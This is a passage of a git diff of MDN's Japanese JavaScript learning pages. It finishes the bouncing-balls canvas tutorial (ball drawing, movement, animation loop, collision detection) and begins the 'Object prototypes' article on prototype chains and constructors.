name="Modeling_a_ball_in_our_program">我々のプログラム用のボールを一つモデル化する</h2> + +<p>我々のプログラムでは画面中を跳ねまわるたくさんのボールがあります。これらのボールはどれも同じルールで動くので、1つのオブジェクトで表わすのが理に叶っています。まずはコードの最後に以下のコンストラクターを追加するところから始めましょう。</p> + +<pre class="brush: js notranslate">function Ball(x, y, velX, velY, color, size) { + this.x = x; + this.y = y; + this.velX = velX; + this.velY = velY; + this.color = color; + this.size = size; +}</pre> + +<p>ここではいくつかの引数を用意し、我々のプログラムの中で個々のボールが動作するのに必要なプロパティを定義しています:</p> + +<ul> + <li><code>x</code>、<code>y</code>座標 — ボールが画面のどこからスタートするか表わす水平と垂直の座標。これは 0(画面左上隅)からブラウザービューポートの幅と高さの(画面右下隅)間の値を取ります。</li> + <li>水平と垂直方向の速度(<code>velX</code> と <code>velY</code>) — 個々のボールには水平と垂直方向の速度が与えられます。実際にはアニメーションが開始されると、これらの値が <code>x</code>/<code>y</code>座標値に定期的に加算され、各フレームでこの値だけ移動していきます。</li> + <li><code>color</code> — 個々のボールには色がつけられます。</li> + <li><code>size</code> — 個々のボールには大きさがあります — ピクセルを単位とする半径で表わします。</li> +</ul> + +<p>これはプロパティを取り扱いましたが、メソッドはどうしましょう? プログラムの中ではボールに実際に何かさせたいわけです。</p> + +<h3 id="Drawing_the_ball" name="Drawing_the_ball">ボールを描画する</h3> + +<p>まず以下の <code>draw()</code> メソッドを <code>Ball()</code> のプロトタイプ(<code>prototype</code>)に追加しましょう:</p> + +<pre class="brush: js notranslate">Ball.prototype.draw = function() { + ctx.beginPath(); + ctx.fillStyle = this.color; + ctx.arc(this.x, this.y, this.size, 0, 2 * Math.PI); + ctx.fill(); +}</pre> + +<p>この関数を使って、以前定義した 2D キャンバスコンテキスト(<code>ctx</code>)のメンバーを順に呼び出す方法で、ボール自身が画面に自分を描画する方法を教え込みます。コンテキストは紙のようなもので、ペンを使って何か描くように指示したいわけです:</p> + +<ul> + <li>まずは、<code><a href="/ja/docs/Web/API/CanvasRenderingContext2D/beginPath">beginPath()</a></code> を使って紙に形を描きたいと宣言します。</li> + <li>次に <code><a href="/ja/docs/Web/API/CanvasRenderingContext2D/fillStyle">fillStyle</a></code> を使って形を何色にしたいか宣言します — ここではボールの <code>color</code> プロパティを指定します。</li> + <li>次に <code><a href="/ja/docs/Web/API/CanvasRenderingContext2D/arc">arc()</a></code> メソッドを使って紙に円弧形をなぞります。これの引数は: + <ul> + <li>円弧の中心座標、<code>x</code> と <code>y</code> — ボールの <code>x</code>、<code>y</code> プロパティを指定します。</li> + <li>円弧の半径 — ここではボールの <code>size</code> プロパティです。</li> + <li>最後の二つの引数は円弧の開始点から終了点までの角度を円の中心角で指定します。ここでは 0度から <code>2 * PI</code>、これはラジアンで表わした 360度に相当します(ややこしいですがラジアンで指定しなければなりません)。これで一周した円を描けます。もし <code>1 * PI</code> までしか指定しなければ、半円(180度)になるでしょう。</li> + </ul> + </li> + <li>最後の最後に、<code><a href="/ja/docs/Web/API/CanvasRenderingContext2D/fill">fill()</a></code> メソッドを使って、これはおおよそ、「<code>beginPath()</code> から描き始めた線描を終了し、描いた領域を前に <code>fillStyle</code> で指定していた色で塗り潰せ」という指示になります。</li> +</ul> + +<p>これでオブジェクトをテストしてみられるようになりました。</p> + +<ol> + <li>コードを保存し、HTML ファイルをブラウザーで読み込みます。</li> + <li>ブラウザーの JavaScript コンソールを開いて、ページをリフレッシュし、キャンバスのサイズがコンソール分小さくなったビューポート領域に合うようにします。</li> + <li>次をタイプして、新しいボールのインスタンスを作成します: + <pre class="brush: js notranslate">let testBall = new Ball(50, 100, 4, 4, 'blue', 10);</pre> + </li> + <li>そのメンバを呼び出して見てください: + <pre class="brush: js notranslate">testBall.x +testBall.size +testBall.color +testBall.draw()</pre> + </li> + <li>最後の行を入力すると、キャンバスのどこかにボールが表示されたはずです。</li> +</ol> + +<h3 id="Updating_the_balls_data" name="Updating_the_balls_data">ボールのデータを更新する</h3> + +<p>ボールを座標に表示できるようになりましたが、ボールを実際に移動させるには、何らかの更新するための関数が必要です。JavaScript ファイルの最後に以下のコードを追加し、<code>update()</code> メソッドを <code>Ball()</code> の <code>prototype</code> に追加します:</p> + +<pre class="brush: js notranslate">Ball.prototype.update = function() { + if ((this.x + this.size) >= width) { + this.velX = -(this.velX); + } + + if ((this.x - this.size) <= 0) { + this.velX = -(this.velX); + } + + if ((this.y + this.size) >= height) { + this.velY = -(this.velY); + } + + if ((this.y - this.size) <= 0) { + this.velY = -(this.velY); + } + + this.x += this.velX; + this.y += this.velY; +}</pre> + +<p>関数の頭から 4 つの部分でボールがキャンバスの端に達したかどうかチェックします。もしそうであれば、関連する速度の向きを反転してボールが反対の向きに移動するようにします。つまり例えば、ボールが上方向に移動していたならば(<code>velY</code> が正)、垂直方向の速度をボールが下方向に移動するように変更します(<code>velY</code> を負に)。(<strong>訳注</strong>: 左上が原点、右下が座標の正方向ならば、ボールが上に移動する時の velY は負のはずだけど…)</p> + +<p>4 つの場合で、次のことを確認しています:</p> + +<ul> + <li><code>x</code>座標がキャンバスの幅より大きいか (ボールは右端から飛び出そうとしている)</li> + <li><code>x</code>座標が 0 より小さいか (ボールは左端から飛び出そうとしている)</li> + <li><code>y</code>座標がキャンバスの高さより大きいか (ボールは下端から飛び出そうとしている)</li> + <li><code>y</code>座標が 0 より小さいか (ボールは上端から飛び出そうとしている)</li> +</ul> + +<p>それぞれの場合で計算にボールの <code>size</code> を含めていますが、これは <code>x</code>/<code>y</code>座標はボールの中心ですが、ボールの端のところで周囲から跳ね返って欲しいからです — 跳ね返る前に画面外にめり込んで欲しくないからです。</p> + +<p>最後の二行では <code>velX</code> を <code>x</code> 座標に、<code>velY</code> を <code>y</code> 座標に加算しています — 結果ボールはこのメソッドが呼ばれる毎に移動します。</p> + +<p>とりあえずはここまでで、ちょいとアニメーションさせてみよう!</p> + +<h2 id="Animating_the_ball" name="Animating_the_ball">ボールのアニメーション</h2> + +<p>さあ、楽しい事をやりましょう。では、キャンバスにボールを追加し、アニメーションさせるところから始めましょう。</p> + +<ol> + <li>最初に、ボールを全部保存しておく場所がどこかに必要です。以下がこれをやってくれます — あなたのコードの最後に追加してください: + <pre class="brush: js notranslate">let balls = []; + +while (balls.length < 25) { + let size = random(10,20); + let ball = new Ball( + // ball position always drawn at least one ball width + // away from the edge of the canvas, to avoid drawing errors + random(0 + size,width - size), + random(0 + size,height - size), + random(-7,7), + random(-7,7), + 'rgb(' + random(0,255) + ',' + random(0,255) + ',' + random(0,255) +')', + size + ); + + balls.push(ball); +}</pre> + + <p><code>while</code> ループは、我々の <code>random()</code>関数で作成したランダムな値を使った新しい <code>Ball()</code> のインスタンスを作成し、ボールの配列の後ろに <code>push()</code> して追加していきますが、これは配列中のボールの数が 25 に満たない間まで繰り返されます。<code>balls.length < 25</code> の数字をいろいろ変えれば表示されるボールの数を増やしたり減らしたりできます。あなたのコンピューターとブラウザーがどれだけ速いかによりますが、ボールを数千にするとアニメーションはかなり遅くなります! 注意してね。</p> + </li> + <li>以下をあなたのコードの末尾に追加してください: + <pre class="brush: js notranslate">function loop() { + ctx.fillStyle = 'rgba(0, 0, 0, 0.25)'; + ctx.fillRect(0, 0, width, height); + + for (let i = 0; i < balls.length; i++) { + balls[i].draw(); + balls[i].update(); + } + + requestAnimationFrame(loop); +}</pre> + + <p>ものをアニメーションさせるすべてのプログラムには、大概アニメーションループがあり、プログラム内の情報を更新して、アニメーションの各フレームでその結果を表示します。これは大半のゲームや類似するプログラムの基本になります。コード中の <code>loop()</code> 関数は以下の事を行ないます:</p> + + <ul> + <li>キャンバスの塗り潰し色を半透明の黒にし、その色でキャンバスの幅と高さいっぱいの長方形を <code>fillRect()</code> で描きます(これの 4 つの引数は始点の座標と、描画する長方形の幅と高さになります)。これで次のフレームを描く前に、前のフレームで描いた内容を見えなくします。これをしないと、ボールじゃなくて長い蛇がキャンバスの中を這い回る様を見る事になります! 塗り潰す色は半透明の <code>rgba(0,0,0,0.25)</code> なので、以前の何フレーム分かがかすかに残り、ボールが移動した後の軌跡を表現します。もし 0.25 を 1 に変更すると、軌跡は全く見えなくなります。この値を変えて、どんな効果になるか見てみてください。</li> + <li>ループで <code>balls</code>配列のボール全部をなめてそれぞれのボールの <code>draw()</code> と <code>update()</code> 関数を実行し、それぞれを画面に描画してから、次のフレームに備えて必要な位置と速度の更新を行います。</li> + <li>この関数を <code>requestAnimationFrame()</code> メソッドを使って再実行します — このメソッドが繰り返し実行され同じ関数名を与えられると、その関数がスムースなアニメーションを行なうために毎秒設定された回数実行されます。これはたいてい再帰的に行われます — つまり関数は毎回その関数自身を呼び出すので、何度も何度も繰り返し実行されます。</li> + </ul> + </li> + <li>最後に、あなたのコードの最後に次の行を追加します — アニメーションを開始するために、一旦は関数を呼ぶ必要があるのです。 + <pre class="brush: js notranslate">loop();</pre> + </li> +</ol> + +<p>基本としてはこんなところ — セーブしてリフレッシュして、ボールがはずむのをテストしてみてください!</p> + +<h2 id="Adding_collision_detection" name="Adding_collision_detection">衝突判定を追加する</h2> + +<p>さあ、もうちょっと面白くするため、プログラムに衝突判定を追加して、ボールに他のボールとぶつかったらどうするのか教えましょう。</p> + +<ol> + <li>最初に、以下のメソッド定義を <code>update()</code> メソッドを定義した箇所(つまり <code>Ball.prototype.update</code> ブロック)の下に追加します + + <pre class="brush: js notranslate">Ball.prototype.collisionDetect = function() { + for (let j = 0; j < balls.length; j++) { + if (!(this === balls[j])) { + const dx = this.x - balls[j].x; + const dy = this.y - balls[j].y; + const distance = Math.sqrt(dx * dx + dy * dy); + + if (distance < this.size + balls[j].size) { + balls[j].color = this.color = 'rgb(' + random(0, 255) + ',' + random(0, 255) + ',' + random(0, 255) +')'; + } + } + } +}</pre> + </li> + <li> + <p>このメソッドはちょっとばかり複雑なので、今はどんな動作をしているのか正確に理解できなくても構いません。説明していきます:</p> + + <ul> + <li>それぞれのボールで、他のボールそれぞれとこのボールが衝突していないか調べなければなりません。そのために、<code>balls[]</code>配列すべてのボールを回すために別の <code>for</code> ループを始めます。</li> + <li>内側のループに入ってすぐ、<code>if</code>文でループで回しているボールがチェックしているボールと同じか調べています。ボールがそれ自体とぶつかっているかチェックしたくないですから! これのために、現在のボール(collisionDetect メソッドが実行されているボールです)がループ中のボール(現在の collisionDetect メソッド内のループのくりかえし中で参照されているボール)と一致しているかチェックします。<code>!</code>を使って等価性チェックを逆にしているので、<code>if</code> 文の中のコードはボールが<strong>同じでない</strong>ときだけ実行されます。</li> + <li>そして二つの円が衝突していないか調べるための一般的なアルゴリズムを使っています。基本的には円ないの領域が重なっているかチェックしています。これについて詳しくは <a href="/ja/docs/Games/Techniques/2D_collision_detection">2次元の衝突判定</a>で解説されています。</li> + <li>もし衝突が検出されたら、内側の <code>if</code>文の中のコードが実行されます。この場合では、両方のボールの <code>color</code> プロパティをランダムな新しい色に設定しているだけです。もっと複雑なこと、現実っぽくボールを互いに跳ね返らせたりもできたでしょうが、これを実装したとするともっとずっとに複雑なったでしょう。そのような物理シミュレーションには、<a href="http://wellcaffeinated.net/PhysicsJS/">PhysicsJS</a>, <a href="http://brm.io/matter-js/">matter.js</a>, <a href="http://phaser.io/">Phaser</a> などのゲームや物理用のライブラリを使う開発者が多いです。</li> + </ul> + </li> + <li>あなたはアニメーションの各フレーム毎にこのメソッドを呼ばなければなりません。以下を <code>balls[i].update();</code> の行の後に追加してください: + <pre class="brush: js notranslate">balls[i].collisionDetect();</pre> + </li> + <li>保存とデモのリフレッシュをして、ボールがぶつかった時に色が変わるのを見てください!</li> +</ol> + +<div class="note"> +<p><strong>注記</strong>: この例題を動かすのに困った時は、あなたの JavaScript コードを私たちの<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/main-finished.js">完成版</a>と比べてみてください(<a href="http://mdn.github.io/learning-area/javascript/oojs/bouncing-balls/index-finished.html">ライブ実行版</a>も見られます)。</p> +</div> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>自分版の実世界で跳ね回るランダムボール例作り、この全単元で出てきた様々なオブジェクトやオブジェクト指向テクニックを使ったものをあなたに楽しんでいただけていれば、と思います。オブジェクトの実践的な使い方の練習や、実世界のコンテキストについて得られるものがあったはずです。</p> + +<p>オブジェクトに関する記事は以上です — 残るのは、あなが自分のスキルをオブジェクトの評価問題で試してみる事だけです。</p> + +<h2 id="See_also" name="See_also">参考文献</h2> + +<ul> + <li><a href="/ja/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a> — 2D キャンバスの初心者向けガイド。</li> + <li><a href="/ja/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame()</a></li> + <li><a href="/ja/docs/Games/Techniques/2D_collision_detection">2D collision detection</a></li> + <li><a href="/ja/docs/Games/Techniques/3D_collision_detection">3D collision detection</a></li> + <li><a href="/ja/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript">2D breakout game using pure JavaScript</a> — 2D ゲームの作り方に関する、素晴しい初心者向けチュートリアル。</li> + <li><a href="/ja/docs/Games/Tutorials/2D_breakout_game_Phaser">2D breakout game using Phaser</a> — JavaScript ゲームライブラリを使って 2D ゲームを作るための基本を解説しています。</li> +</ul> + +<p>{{PreviousMenuNext("Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects/Adding_bouncing_balls_features", "Learn/JavaScript/Objects")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Basics">JavaScript オブジェクトの基本</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Object-oriented_JS">初心者のためのオブジェクト指向 JavaScript</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Object_prototypes">Object のプロトタイプ</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Inheritance">JavaScript での継承</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/JSON">JSON データの操作</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Object_building_practice">オブジェクト作成の練習</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">バウンスボールに機能を追加する</a></li> +</ul> diff --git a/files/ja/learn/javascript/objects/object_prototypes/index.html b/files/ja/learn/javascript/objects/object_prototypes/index.html new file mode 100644 index 0000000000..4e9419e49d --- /dev/null +++ b/files/ja/learn/javascript/objects/object_prototypes/index.html @@ -0,0 +1,314 @@ +--- +title: Object のプロトタイプ +slug: Learn/JavaScript/Objects/Object_prototypes +tags: + - Beginner + - CodingScripting + - JavaScript + - Learn + - OOJS + - OOP + - Object + - Prototype + - create() + - 'l10n:priority' + - コンストラクタ + - 記事 +translation_of: Learn/JavaScript/Objects/Object_prototypes +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects")}}</div> + +<p class="summary">プロトタイプは、JavaScript オブジェクトが互いに機能を継承するメカニズムです。この記事では、プロトタイプチェーンの仕組みを説明し、<code>prototype</code> プロパティを使って既存のコンストラクタにメソッドを追加する方法を見ていきます。</p> + +<div class="blockIndicator note"> +<p class="summary"><strong>Note</strong>: この記事では、伝統的な JavaScript のコンストラクタとクラスを取り上げます。次の記事では、同じことを実現するためのより簡単な構文を提供する現代的な方法について話します - <a href="/ja/docs/Learn/JavaScript/Objects/Inheritance#ECMAScript_2015_Classes">ECMAScript 2015 のクラス</a>を参照してください。</p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>JavaScript 関数の理解、JavaScript の基礎知識 (<a href="/ja/docs/Learn/JavaScript/First_steps">JavaScript の第一歩</a>と<a href="/ja/docs/Learn/JavaScript/Building_blocks">JavaScript の構成要素</a>を参照)、OOJS の基礎 (<a href="/ja/docs/Learn/JavaScript/Objects/Basics">JavaScript オブジェクトの基本</a>を参照)</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>JavaScript のオブジェクトのプロトタイプ、プロトタイプチェーンの動作方法、prototype プロパティに新しいメソッドを追加する方法を理解する。</td> + </tr> + </tbody> +</table> + +<h2 id="プロトタイプベースの言語とは">プロトタイプベースの言語とは?</h2> + +<p>JavaScript はしばしば<strong>プロトタイプベースの言語</strong>として記述されます - 継承を提供するために、オブジェクトはメソッドやプロパティを継承するテンプレートオブジェクトとして機能する <strong><code>prototype</code> オブジェクト</strong>を持つことができます。</p> + +<p>オブジェクトのプロトタイプオブジェクトは、メソッドやプロパティを継承するプロトタイプオブジェクトを持つことができます。これはしばしば<strong>プロトタイプチェーン</strong>と呼ばれ、異なるオブジェクトが他のオブジェクトに定義されたプロパティやメソッドを持つ理由を説明しています。</p> + +<p>JavaScript では、オブジェクトのインスタンスとプロトタイプ (コンストラクタの <code>prototype</code> プロパティから派生した <code>__proto__</code> プロパティ) の間にリンクが張られており、プロパティとメソッドはプロトタイプの連鎖を辿って見つけられます。</p> + +<div class="note"> +<p><strong>Note:</strong> <strong>オブジェクトの <code>prototype</code></strong> (<code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf">Object.getPrototypeOf(<var>obj</var>)</a></code> または非推奨の <code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Object/proto">__proto__</a></code> プロパティで取得可能) と<strong>コンストラクタ関数の<code>prototype</code> プロパティ</strong>の違いを理解することが重要です。</p> + +<p>前者は各インスタンス上のプロパティ、後者はコンストラクタ上のプロパティです。つまり、<code>Object.getPrototypeOf(new <var>Foobar</var>())</code> は<code><var>Foobar</var>.prototype</code>と同じオブジェクトを参照しています。</p> +</div> + +<p>これを少し明確にするための例を見てみましょう。</p> + +<h2 id="プロトタイプオブジェクトの理解">プロトタイプオブジェクトの理解</h2> + +<p>ここでは、Person() コンストラクタを書き終えた例に戻ります - ブラウザで例を読み込んでください。前回の記事で紹介した <a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-further-exercises.html">oojs-class-further-exercises.html</a> の例を使うことができます (<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-further-exercises.html">ソースコード</a>も参照してください)。</p> + +<p>この例では、次のようにコンストラクタ関数を定義しています。</p> + +<pre class="brush: js notranslate">function Person(first, last, age, gender, interests) { + + // property and method definitions + this.name = { + 'first': first, + 'last' : last + }; + this.age = age; + this.gender = gender; + //...see link in summary above for full definition +}</pre> + +<p>次に、このようなオブジェクトインスタンスを作成します。</p> + +<pre class="brush: js notranslate">let person1 = new Person('Bob', 'Smith', 32, 'male', ['music', 'skiing']);</pre> + +<p>JavaScript コンソールに "<code>person1.</code>" と入力すると、ブラウザがこのオブジェクトで利用可能なメンバ名でこれを自動補完しようとするはずです：</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13853/object-available-members.png" style="display: block; margin: 0 auto;"></p> + +<p>このリストでは、<code>person1</code> のコンストラクタである <code>Person()</code> で定義されているメンバ - <code>name</code>、<code>age</code>、<code>gender</code>、<code>interests</code>、<code>bio</code>、<code>greeting</code> - が表示されています。しかし、他にも <code>toString</code> や <code>valueOf</code> などのメンバがあり、これらのメンバは <code>person1</code> の prototype オブジェクトの prototype オブジェクト (<code>Object.prototype</code>) で定義されています。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13891/MDN-Graphics-person-person-object-2.png" style="display: block; height: 150px; margin: 0px auto; width: 700px;"></p> + +<p>実際に <code>Object.prototype</code> で定義されている <code>person1</code> のメソッドを呼び出すとどうなりますか？例えば</p> + +<pre class="brush: js notranslate">person1.valueOf()</pre> + +<p><code>valueOf()</code> は、呼び出されたオブジェクトの値を返します。この場合、何が起こるかというと</p> + +<ul> + <li>ブラウザは最初に、<code>person1</code> オブジェクトのコンストラクタ <code>Person()</code> で定義されている <code>valueOf()</code> メソッドが利用可能かどうかをチェックしますが、利用できません</li> + <li>そこで、ブラウザは <code>person1</code> のプロトタイプオブジェクトに <code>valueOf()</code> メソッドが利用可能かどうかをチェックします。メソッドがない場合、ブラウザは <code>person1</code> のプロトタイプオブジェクトのプロトタイプオブジェクトをチェックします。メソッドが呼び出されて、すべてがうまくいきました</li> +</ul> + +<div class="note"> +<p><strong>Note</strong>: プロトタイプチェーンの中では、メソッドやプロパティはあるオブジェクトから別のオブジェクトにコピー<strong>されない</strong>ことを再確認しておきましょう。これらのメソッドやプロパティは、上で説明したように<em>チェーンを上っていく</em>ことで<em>アクセス</em>されます。</p> +</div> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: プロトタイプチェーンは、プロパティを取得している間のみ巡回されます。プロパティがオブジェクトに直接設定されたり<code><a href="/ja/docs/Web/JavaScript/Reference/Operators/delete">削除されたり</a></code>した場合は、プロトタイプチェーンは走査されません。</p> +</div> + +<div class="note"> +<p><strong>Note</strong>: ECMAScript 2015 以前は、オブジェクトの <code>prototype</code> に直接アクセスする方法は公式にはありませんでした - チェーン内のアイテム間の「リンク」は、JavaScript 言語の仕様で <code>[[prototype]]</code> と呼ばれる内部プロパティで定義されています ({{glossary("ECMAScript")}}}を参照してください)。</p> + +<p>しかし、ほとんどの最新のブラウザでは、オブジェクトのコンストラクタのプロトタイプオブジェクトを含む <code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Object/proto">__proto__</a></code> (アンダースコア2個分) というプロパティを提供しています。例えば、<code>person1.__proto__</code> と <code>person1.__proto__.__proto__</code> を試してみてください。</p> + +<p>ECMAScript 2015 からは、<code>Object.getPrototypeOf(obj)</code> を介して間接的にオブジェクトのプロトタイプオブジェクトにアクセスすることができます。</p> +</div> + +<h2 id="prototypeプロパティ：継承されたメンバーが定義されている場所">prototypeプロパティ：継承されたメンバーが定義されている場所</h2> + +<p>では、継承されたプロパティとメソッドはどこに定義されているのでしょうか？ <code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Object">Object</a></code>リファレンスページを見ると、左側に多数のプロパティとメソッドが表示されます。上のスクリーンショットで<code>person1</code>オブジェクトで使用できた継承されたメンバーの数を超えています。いくつかは継承されており、一部は継承されていません。これはなぜでしょうか？<br> + <br> + 上で述べたように、継承されたものは <code>prototype</code> プロパティ (サブネームスペースと呼ぶこともできます) で定義されたものであり、それは <code>Object.prototype.</code> で始まるものであって、<code>Object.</code> だけで始まるものではありません。<code>prototype</code> プロパティの値はオブジェクトであり、基本的には、プロトタイプチェーンのさらに下のオブジェクトに継承させたいプロパティやメソッドを格納するためのバケットです。<br> + <br> + そのため、<code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Object/toString">Object.prototype.toString()</a></code>、<code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Object/valueOf">Object.prototype.valueOf()</a></code> などは、<code>Person()</code> コンストラクタから作成された新しいオブジェクトインスタンスを含め、<code>Object.prototype</code> を継承するあらゆるオブジェクトタイプで利用できます。</p> + +<p><code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Object/is">Object.is()</a></code>、<code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Object/keys">Object.keys()</a></code> など、<code>prototype</code> バケット内で定義されていないメンバは、<code>Object.prototype</code> を継承するオブジェクトインスタンスやオブジェクトタイプには継承されません。これらは、<code>Object()</code> コンストラクタ自身でのみ利用可能なメソッド/プロパティです。</p> + +<div class="note"> +<p><strong>Note</strong>: コンストラクタ上で定義されたメソッドが、それ自体が関数であるというのは不思議な感じがします。</p> + +<p>まあ、関数はオブジェクトの型でもあります。信じられないかもしれませんが、<code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Function">Function()</a></code> のコンストラクタリファレンスを参照してください。</p> +</div> + +<ol> + <li>既存のプロトタイプのプロパティを自分でチェックすることができます。先ほどの例に戻って、JavaScript コンソールに次のように入力してみてください + <pre class="brush: js notranslate">Person.prototype</pre> + </li> + <li>カスタムコンストラクタのプロトタイプに何も定義していないので、出力はあまり表示されません。デフォルトでは、コンストラクタの <code>prototype</code> は常に空から始まります。では、次のようにしてみてください + <pre class="brush: js notranslate">Object.prototype</pre> + </li> +</ol> + +<p>先ほど示したように、<code>Object</code> の <code>prototype</code> プロパティに定義された多数のメソッドが、<code>Object</code> を継承するオブジェクトで利用できるようになっています。</p> + +<p>プロトタイプチェーン継承の他の例は、JavaScript の至る所で見ることができます。例えば、<code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code>、<code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Date">Date</a></code>、<code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Number">Number</a></code>、<code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a></code> などのグローバルオブジェクトのプロトタイプに定義されているメソッドやプロパティを探してみてください。これらはすべて、プロトタイプに定義されたいくつかのメンバを持っており、例えばこのように文字列を作るとき</p> + +<pre class="brush: js notranslate">let myString = 'This is my string.';</pre> + +<p><code>myString</code>が最初から、<code><a href="https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/String/split">split()</a></code>、<code><a href="https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf">indexOf()</a></code>、<code><a href="https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/String/replace">replace()</a></code>などの便利なメソッドを多数持っている理由です。</p> + +<div class="note"> +<p><strong>Note</strong>: このセクションを理解して、もっと知りたいと思ったら、<a href="/ja/docs/Web/JavaScript/Inheritance_and_the_prototype_chain#Using_prototypes_in_JavaScript">JavaScript でのプロトタイプの使用</a> についてのより詳細なガイドを読む価値があります。このセクションは、これらの概念に初めて出会ったときに少しでも理解しやすくするために、意図的に簡略化しています。</p> +</div> + +<div class="warning"> +<p><strong>重要</strong>: <code>prototype</code> プロパティは JavaScript の中でも最も紛らわしい名前がついている部分の一つです (<code>this</code> は <code>__proto__</code> でアクセスできる内部オブジェクトです、覚えていますか？)。代わりに <code>prototype</code> は、継承したいメンバを定義したオブジェクトを含むプロパティです。</p> +</div> + +<h2 id="create_の再訪">create() の再訪</h2> + +<p>先ほど、<code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Object/create">Object.create()</a></code> メソッドを使用して新しいオブジェクトのインスタンスを作成する方法を紹介しました。</p> + +<ol> + <li>例えば、先ほどの例の JavaScript コンソールでこれを試してみてください + <pre class="brush: js notranslate">let person2 = Object.create(person1);</pre> + </li> + <li><code>create()</code> が実際に行うことは、指定したプロトタイプオブジェクトから新しいオブジェクトを作成することです。ここでは、<code>person1</code> をプロトタイプオブジェクトとして使用して <code>person2</code> を作成しています。これはコンソールで以下のように入力することで確認できます + <pre class="brush: js notranslate">person2.__proto__</pre> + </li> +</ol> + +<p>これで <code>person1</code> オブジェクトが返されます。</p> + +<h2 id="コンストラクタのプロパティ">コンストラクタのプロパティ</h2> + +<p>すべてのコンストラクタ関数は <code>prototype</code> プロパティを持ち、その値は <code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor">constructor</a></code> プロパティを含むオブジェクトとなります。この <code>constructor</code> プロパティは、元のコンストラクタ関数を指します。</p> + +<p>次のセクションでお分かりのように、<code>Person.prototype</code> プロパティ (あるいは上のセクションで述べたように、一般的にはコンストラクタ関数の <code>prototype</code> プロパティに定義されているオブジェクト) は、<code>Person()</code> コンストラクタを使用して作成されたすべてのインスタンスオブジェクトで利用可能になります。したがって、コンストラクタプロパティは <code>person1</code> と <code>person2</code> の両方のオブジェクトでも利用可能です。</p> + +<ol> + <li>例えば、コンソールで次のコマンドを試してみてください + <pre class="brush: js notranslate">person1.constructor +person2.constructor</pre> + + <p>これらのインスタンスの元の定義を含む <code>Person()</code> コンストラクタを返します。</p> + + <p>巧妙なトリックとしては、<code>constructor</code> プロパティの最後に括弧を付けて (必要なパラメータを含む)、そのコンストラクタから別のオブジェクトのインスタンスを作成することができます。コンストラクタは結局のところ関数なので、括弧を使用して呼び出すことができます。関数をコンストラクタとして使用したい場合は、<code>new</code> キーワードを含めて指定する必要があります。</p> + </li> + <li>これをコンソールで試してみてください + <pre class="brush: js notranslate">let person3 = new person1.constructor('Karen', 'Stephenson', 26, 'female', ['playing drums', 'mountain climbing']);</pre> + </li> + <li>では、新しいオブジェクトの機能にアクセスしてみましょう + <pre class="brush: js notranslate">person3.name.first +person3.age +person3.bio()</pre> + </li> +</ol> + +<p>これはよく機能します。頻繁に使用する必要はありませんが、新しいインスタンスを作成したいときに、何らかの理由で元のコンストラクタへの参照が簡単に利用できない場合に非常に便利です。</p> + +<p><code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor">constructor</a></code> プロパティには他の用途もあります。たとえば、オブジェクトのインスタンスがあり、そのインスタンスのコンストラクタの名前を返したい場合は次のようにします。</p> + +<pre class="brush: js notranslate">instanceName.constructor.name</pre> + +<p>たとえば、これを試してみてください：</p> + +<pre class="brush: js notranslate">person1.constructor.name +</pre> + +<div class="note"> +<p><strong>Note</strong>: <code>constructor.name</code> の値は (プロトタイプの継承、バインディング、プリプロセッサ、トランスパイラなどによる) 変わる可能性があります。そのため、より複雑な例では、代わりに <code><a href="/ja/docs/Web/JavaScript/Reference/Operators/instanceof">instanceof</a></code> 演算子を使用することになります。</p> +</div> + +<ol> +</ol> + +<h2 id="プロトタイプの変更">プロトタイプの変更</h2> + +<p>コンストラクタ関数の <code>prototype</code> プロパティを変更する例を見てみましょう - メソッドは、コンストラクタから作成されたすべてのオブジェクトインスタンスで利用可能になります。この時点で、最後に <code>Person()</code> コンストラクタのプロトタイプに何かを追加します。</p> + +<ol> + <li><a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-further-exercises.html">oojs-class-further-exercises.html</a> 